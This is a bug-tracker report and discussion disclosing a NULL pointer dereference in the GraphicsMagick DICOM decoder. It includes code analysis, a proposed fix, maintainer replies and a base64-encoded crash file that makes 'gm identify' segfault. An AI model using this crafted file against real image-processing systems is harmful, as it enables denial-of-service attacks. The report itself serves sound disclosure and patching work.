Menu

#512 NULL Pointer Dereference in DICOM Decoder

v1.0_(example)
closed-fixed
None
5
2017-10-03
2017-10-01
Ayrx
No

GraphicsMagick NULL Pointer Dereference in DICOM Decoder

A null pointer dereference vulnerability in the GraphicsMagick DICOM image
decoder allows an attacker to cause a denial-of-service condition or other
unspecified impact.

Affected Versions

The current release (1.3.26) is affected. Further analysis is required to
determine which versions are also affected by the vulnerability.

Vulnerability Scores

Classification: CWE-476: NULL Pointer Dereference
CVSSv3: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)

Description

The null pointer dereference happens in the function ReadDCMImage of the file
coders/dcm.c. The Image * image pointer contains the value 0. Since the
dereference image->previous attempts to access the memory address 0x1a40
(0x1a40 being the offset of the previous field), the program segfaults.

4603 static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo
     *exception)
4604 {
...
4853   if (status == MagickPass)
4854     {
4855       while (image->previous != (Image *) NULL)
4856         image=image->previous;
4857       CloseBlob(image);
4858       return(image);
4859     }
...
4865 }

The image pointer is set to null in this call to DCM_ReadNonNativeImages.

4603 static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo
     *exception)
4604 {
...
4686     else if ((dcm.transfer_syntax != DCM_TS_IMPL_LITTLE) &&
4687              (dcm.transfer_syntax != DCM_TS_EXPL_LITTLE) &&
4688              (dcm.transfer_syntax != DCM_TS_EXPL_BIG) &&
4689              (dcm.transfer_syntax != DCM_TS_RLE))
4690       {
4691         status=DCM_ReadNonNativeImages(&image,image_info,&dcm,exception);
4692         dcm.number_scenes=0;
4693       }
...
4865 }

This is due to an edge case in the function DCM_ReadNonNativeImages from the
file coders/dcm.c. If the dcm->number_scenes field is 0, the entire for loop
is skipped and the image pointer is set to NULL.

4414 static MagickPassFail DCM_ReadNonNativeImages(Image **image,
     const ImageInfo *image_info,DicomStream *dcm,ExceptionInfo *exception)
4415 {
...
4439   image_list=(Image *)NULL;
...
4448   for (scene=0; scene < dcm->number_scenes; scene++)
4449     {
...
4566     }
4567   DestroyImage(*image);
4568   *image=image_list;
4569   return status;
4570 }

Mitigation

A simple fix could be to place a check that image is non-null before
dereferencing image in the ReadDCMImage function.

4603 static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo
     *exception)
4604 {
...
4853   if (status == MagickPass)
4854     {
4855       while (image != (Image *) NULL && image->previous != (Image *) NULL)
4856         image=image->previous;
4857       CloseBlob(image);
4858       return(image);
4859     }
...
4865 }

Proof of Concept

The file crash.dcm is attached in this report. It is also included here as a
base64 encoded file.

MDAwMFVTAgAwMDAwMDBVUwIAMDAwMDAwVVMCADAwMDAwMFVTAgAwMDAwMDBVUwIAMDAwMDAwVVMC
ADAwMDAwMENTAgAwMCgACAAbAAAAMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMMoAAAAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAIAAAAwMDAwMDBVSRoAMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwVUk4ADAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwAgAQAFVJFgAxLjIuODQwLjEwMDA4LjEuMi40LjAwMDAw
MFVJHAAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMFVTAgAwMDAwMDBDUwwAMDAwMDAw
MDAwMDAwMDAwMFVTAgAwMCgAEABVUwIAMDAoABEAVVMCADAwMDAwMFVTAgAwMDAwMDBVUwIAMDAw
MDAwVVMCADAwMDAwMFVTAgAwMDAwMDBDUwIAMDAwMDAwQ1MMADAwMDAwMDAwMDAwMOB/EAAwMDAw
/v8A4A==

Running the command gm identify on the crash file yields an abort from an
exeception generated by a segmentation fault.

$ gm identify crash.dcm
gm identify: abort due to signal 11 (SIGSEGV) "Segmentation Fault"...
Aborted (core dumped)

The backtrace from the crash:

#0  ReadDCMImage (image_info=<optimized out>, exception=<optimized out>) at
                  coders/dcm.c:4855
#1  0x000000000043c47c in ReadImage (image_info=image_info@entry=0x8c8f40,
                  exception=exception@entry=0x7fffffffdc20)
                  at magick/constitute.c:1607
#2  0x000000000043d23e in PingImage (image_info=image_info@entry=0x8c4dd0,
                  exception=exception@entry=0x7fffffffdc20) at
                  magick/constitute.c:1370
#3  0x000000000040d329 in IdentifyImageCommand (image_info=0x8c4dd0, argc=0x2,
                  argv=0x8c6f20, metadata=0x7fffffffdc18,
                  exception=0x7fffffffdc20) at magick/command.c:8379
#4  0x000000000040ec6c in MagickCommand (image_info=image_info@entry=0x8c4dd0,
                  argc=argc@entry=0x2, argv=argv@entry=0x7fffffffe5a0,
                  metadata=metadata@entry=0x7fffffffdc18,
                  exception=exception@entry=0x7fffffffdc20) at
                  magick/command.c:8869
#5  0x000000000040fd15 in GMCommandSingle (argc=0x2, argc@entry=0x3,
                  argv=0x7fffffffe5a0, argv@entry=0x7fffffffe598) at
                  magick/command.c:17396
#6  0x000000000043185c in GMCommand (argc=0x3, argv=0x7fffffffe598) at
                  magick/command.c:17449
#7  0x00007ffff656b830 in __libc_start_main (main=0x409650 <main>, argc=0x3,
                  argv=0x7fffffffe598, init=<optimized out>,
                  fini=<optimized out>, rtld_fini=<optimized out>,
                  stack_end=0x7fffffffe588) at ../csu/libc-start.c:291
#8  0x0000000000409689 in _start ()

Credit

This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).

1 Attachments

Discussion

  • Bob Friesenhahn

    Bob Friesenhahn - 2017-10-01
    • status: open --> closed-fixed
    • assigned_to: Bob Friesenhahn
    • private: Yes --> No
     
  • Bob Friesenhahn

    Bob Friesenhahn - 2017-10-01

    This problem is fixed by Mercurial changeset 15215:b3eca3eaa264. Thanks for the report!

     
  • Ayrx

    Ayrx - 2017-10-02

    Hi, did you forget to push the 15215 changeset? I do not see it on the repository.

     
  • Bob Friesenhahn

    Bob Friesenhahn - 2017-10-02

    Sorry about that. It was in one repository, but not the one at SourceForge.

     
  • Bob Friesenhahn

    Bob Friesenhahn - 2017-10-02

    Note that while the fix "works", I am not all that happy with it and am pondering using a fix at the point of origin (where the null image was produced) instead. It is possible that I could leave the existing fix in place and add another one at the point of origin. It is definitely not normal for 'image' to be null at any point in time.

     
  • Ayrx

    Ayrx - 2017-10-02

    Thank you for the quick fix. Your long term fix does sound sensible.

    I have requested a CVE ID from Mitre to track this issue and will update here when I hear back from them.

     
  • Ayrx

    Ayrx - 2017-10-03

    Hi Bob, Mitre has assigned CVE-2017-14994 to this issue.

     
  • Bob Friesenhahn

    Bob Friesenhahn - 2017-10-03
     
  • Bob Friesenhahn

    Bob Friesenhahn - 2017-10-03

    I decided to add another fix, which by itself may be sufficient. The additional fix may be found in Mercurial changeset 15216:af829a95188a. The additional fix throws an error if there are no scenes. Valgrind is happy with it.

     

Log in to post a comment.